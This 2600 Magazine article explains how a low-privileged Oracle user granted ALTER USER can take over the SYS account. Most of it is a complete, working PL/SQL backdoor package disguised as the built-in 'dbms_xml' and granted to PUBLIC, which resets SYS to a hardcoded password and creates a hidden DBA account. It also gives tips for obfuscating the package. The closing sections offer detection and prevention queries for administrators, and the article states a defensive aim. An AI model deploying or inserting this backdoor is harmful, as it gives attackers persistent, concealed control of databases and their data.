Excerpt from 2600 Magazine, Fall 2006
A Back Door to Your Oracle Database
By Edward Stoever

The purpose of this article is to demonstrate one method of gaining dba rights to an Oracle database, and keeping those rights in the future by creating a back door that can be opened whenever desired. The information contained in this article is for the purpose of demonstrating to database administrators possible holes in their security plan.

If you were to ask your database administrator what the most powerful system privilege on the Oracle database is, he might respond with just about anything except "alter user." The alter user privilege can be used to change the password of any user. The alter user privilege can easily be confused with "alter any user" which would seem to be the actual privilege required, but in fact does not exist.

Consider the following hypothetical situation. Robert works in the payroll department and he is sick of working for "the man". His database account allows him to connect and to select on a few tables and nothing else. He calls the database administrator and says "Hey, I am trying to change my password with ‘alter robert identified by mypass’ and I am getting the error ‘insufficient privileges.’ Could you grant me the alter user privilege?" All users already have the ability to change their own password, but our hypothetical database administrator is new at this. On the SQL*PLUS command line, the administrator types the command "grant alter user to robert;" Robert says thank you and hangs up the phone.

At this point, Robert is ready to install his back door to the database. He types the following commands:

```
alter user sys identified by mypass;
connect sys/mypass@database as sysdba
```

Next, Robert runs the following script to create the back door he wants:

```
CREATE OR REPLACE PACKAGE dbms_xml AS
  PROCEDURE parse (string IN VARCHAR2);
END dbms_xml;
/

CREATE OR REPLACE PACKAGE BODY dbms_xml AS
  PROCEDURE parse (string IN VARCHAR2) IS
     var1   VARCHAR2 (100);
  BEGIN
   IF string = 'unlock' THEN
     SELECT PASSWORD INTO var1 FROM dba_users WHERE username = 'SYS';
     EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
     EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
     COMMIT;
     EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
   END IF;
   IF string = 'lock' THEN
     EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
     EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
     EXECUTE IMMEDIATE 'DROP TABLE syspa1';
   END IF;
   IF string = 'make' THEN
     EXECUTE IMMEDIATE 'CREATE USER hill IDENTIFIED BY hack11hack';
     EXECUTE IMMEDIATE 'GRANT DBA TO hill';
   END IF;
   IF string = 'unmake' THEN
     EXECUTE IMMEDIATE 'DROP USER hill CASCADE';
   END IF;
  END;
END dbms_xml;
/

CREATE PUBLIC SYNONYM dbms_xml FOR dbms_xml;
GRANT EXECUTE ON dbms_xml TO PUBLIC;
```

There are two activities that the dbms_xml package can do for Robert. First, it can unlock the sys account by changing the password to a known password. Then, later on, revert it back to the original password. The commands for doing this from sqlplus are as follows:

```
-- changes the password for sys to "hack11hack", saving the original password:
execute dbms_xml.parse('unlock');
-- reverts the sys account to the original password:
execute dbms_xml.parse('lock');
```

The second activity creates a new user account with a known password that has the dba role which can later be dropped (removed) from the database. The commands for this activity from sqlplus are as follows:

```
-- create the user "hill" with the password "hack11hack":
execute dbms_xml.parse('make');
-- drop the user "hill" (must be logged in as any user except "hill"):
execute dbms_xml.parse('unmake');
```

Robert has created for himself a backdoor to the Oracle database that will be very difficult for others to discover. He has chosen a name for his package that looks like it was installed with the oracle database. Because Robert changed the password for sys, someone may figure out that the sys account has been hijacked, but Robert doesn't care. He can switch the password on that account to a known password as needed. (Note that if Robert had access to the view dba_users, he could save the original sys password and revert the account back to the original password after logging in. All he would need to do is follow the same method used in the dbms_xml.parse procedure).

There are more steps that Robert could take to make his back door package harder to find. The wrap utility is installed with Oracle database software, and using it would change the code of the package to a form that is far less reader friendly. Literal strings are not hidden by wrapping code with the wrap utility, but it is also easy to hide the string literals with some basic obfuscation. Visit the webpage

http://www.database-expert.com/oracle_back_door_part2.asp

for details of how to do these tasks.

At some point, the database administrator may become suspicious of Robert. There are a number of things that the administrator could do to discover that something is wrong. One method would be to compare the objects owned by the privileged users on two separate databases of the same version (query v$version to find the database version). This method works well for the sys account because sys should never be used to create database objects unless those objects are part of an install or upgrade. Another method that could be used to discover a problem would be to select on dba_objects to list the most recently created objects, especially those owned by privileged users. This is especially effective because the sys account should have no objects created since the last upgrade.

Of course, the best thing to do is to prevent anyone from gaining the alter user privilege in the first place. The database administrator should always know who has the alter user system privilege. The following query returns a list of users and roles who have the alter user privilege:

```
SELECT grantee, granted_role AS granted
  FROM dba_role_privs
 WHERE granted_role IN (SELECT grantee
                          FROM dba_sys_privs
                         WHERE PRIVILEGE = 'ALTER USER')
UNION ALL
SELECT grantee, PRIVILEGE
  FROM dba_sys_privs
 WHERE PRIVILEGE = 'ALTER USER';
```

I hope the information presented in this article helps you to keep your organization's database secure. It is important for the database administrator to understand security from all angles.